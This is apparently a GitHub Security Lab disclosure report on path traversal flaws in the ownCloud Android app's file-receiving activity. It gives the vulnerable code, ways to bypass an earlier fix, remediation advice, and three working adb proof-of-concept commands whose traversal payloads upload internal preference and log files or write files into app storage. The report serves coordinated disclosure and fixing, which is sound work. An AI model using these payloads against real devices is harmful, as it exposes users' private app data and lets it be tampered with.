The GitHub Security Lab team has identified potential security vulnerabilities in Owncloud Android app.
We are committed to working with you to help resolve these issues. In this report you will find everything you need to effectively coordinate a resolution of these issues with the GHSL team.
If at any point you have concerns or questions about this process, please do not hesitate to reach out to us at [email protected]
(please include GHSL-2022-059
or GHSL-2022-060
as a reference).
If you are NOT the correct point of contact for this report, please let us know!
The Owncloud Android app handles externally-provided files in the activity ReceiveExternalFilesActivity
, where potentially malicious file paths are not properly sanitized, allowing attackers to read from and write to the applicationβs internal storage.
##Β Details
ReceiveExternalFilesActivity
handles the upload of files provided by third party components in the device. The received data can be set arbitrarily by attackers, causing some functions that handle file paths to have unexpected behavior. https://hackerone.com/reports/377107 shows how that could be exploited in the past, using the android.intent.extra.STREAM
extra to force the application to upload its internal files, like com.owncloud.android_preferences.xml
. To fix it, the following code was added:
ReceiveExternalFilesActivity.java:521
private void prepareStreamsToUpload() {
// --snip--
for (Uri stream : mStreamsToUpload) {
String streamToUpload = stream.toString();
if (streamToUpload.contains("/data") &&
streamToUpload.contains(getPackageName()) &&
!streamToUpload.contains(getCacheDir().getPath())
) {
finish();
}
}
}
This protection can be bypassed in two ways:
getCacheDir()
in the payload, e.g. "file:///data/user/0/com.owncloud.android/cache/../shared_prefs/com.owncloud.android_preferences.xml"
.org.owncloud.files
provider to access the appβs internal file
folder, e.g. "content://org.owncloud.files/files/owncloud/logs/owncloud.2022-07-25.log"
.With those payloads, the original issue can be still exploited with the same impact.
.txt
files in the appβs internal storageAdditionally, thereβs another insufficient path validation when uploading a plain text file that allows to write arbitrary files in the appβs internal storage.
When uploading a plain text file, the following code is executed, using the user-provided text at input
to save the file:
ReceiveExternalFilesActivity:920
private void showUploadTextDialog() {
// --snip--
final TextInputEditText input = dialogView.findViewById(R.id.inputFileName);
// --snip--
setFileNameFromIntent(alertDialog, input);
alertDialog.setOnShowListener(dialog -> {
Button button = alertDialog.getButton(AlertDialog.BUTTON_POSITIVE);
button.setOnClickListener(view -> {
// --snip--
} else {
fileName += ".txt";
Uri fileUri = savePlainTextToFile(fileName);
mStreamsToUpload.clear();
mStreamsToUpload.add(fileUri);
uploadFiles();
}
inputLayout.setErrorEnabled(error != null);
inputLayout.setError(error);
});
});
alertDialog.show();
}
By reviewing savePlainTextToFile
, it can be seen that the plain text file is momentarily saved in the appβs cache, but the destination path is built using the user-provided fileName
:
ReceiveExternalFilesActivity:983
private Uri savePlainTextToFile(String fileName) {
Uri uri = null;
String content = getIntent().getStringExtra(Intent.EXTRA_TEXT);
try {
File tmpFile = new File(getCacheDir(), fileName); // here
FileOutputStream outputStream = new FileOutputStream(tmpFile);
outputStream.write(content.getBytes());
outputStream.close();
uri = Uri.fromFile(tmpFile);
} catch (IOException e) {
Timber.w(e, "Failed to create temp file for uploading plain text: %s", e.getMessage());
}
return uri;
}
An attacker can exploit this using a path traversal attack to write arbitrary text files into the appβs internal storage or other restricted directories accessible by it. The only restriction is that the file will always have the .txt
extension, limiting the impact.
Validate user input before using it to construct a file path. Ideally, follow these rules:
.
character./
or \
(depending on the file system).../
. For example, after applying this filter to.../...//
the resulting string would still be ../
.The following PoC demonstrates how to upload arbitrary files from the appβs internal storage:
adb shell am start -n com.owncloud.android.debug/com.owncloud.android.ui.activity.ReceiveExternalFilesActivity -t "text/plain" -a "android.intent.action.SEND" --eu "android.intent.extra.STREAM" "file:///data/user/0/com.owncloud.android.debug/cache/../shared_prefs/com.owncloud.android.debug_preferences.xml"
The following PoC demonstrates how to upload arbitrary files from the appβs internal files
directory:
adb shell am start -n com.owncloud.android.debug/com.owncloud.android.ui.activity.ReceiveExternalFilesActivity -t "text/plain" -a "android.intent.action.SEND" --eu "android.intent.extra.STREAM" "content://org.owncloud.files/files/owncloud/logs/owncloud.2022-07-25.log"
The following PoC demonstrates how to write an arbitrary test.txt
text file to the appβs internal storage:
adb shell am start -n com.owncloud.android.debug/com.owncloud.android.ui.activity.ReceiveExternalFilesActivity -t "text/plain" -a "android.intent.action.SEND" --es "android.intent.extra.TEXT" "Arbitrary contents here" --es "android.intent.extra.TITLE" "../shared_prefs/test"
We recommend you create a private GitHub Security Advisory for these findings. This also allows you to invite the GHSL team to collaborate and further discuss these findings in private before they are published.
These issues were discovered and reported by the CodeQL team member @atorralba (Tony Torralba).
You can contact the GHSL team at [email protected]
, please include a reference to GHSL-2022-059
or GHSL-2022-060
in any communication regarding these issues.
This report is subject to our coordinated disclosure policy.
These issues may lead to information disclosure when uploading the appβs internal files, and to arbitrary file write when uploading plain text files (although limited by the .txt
extension).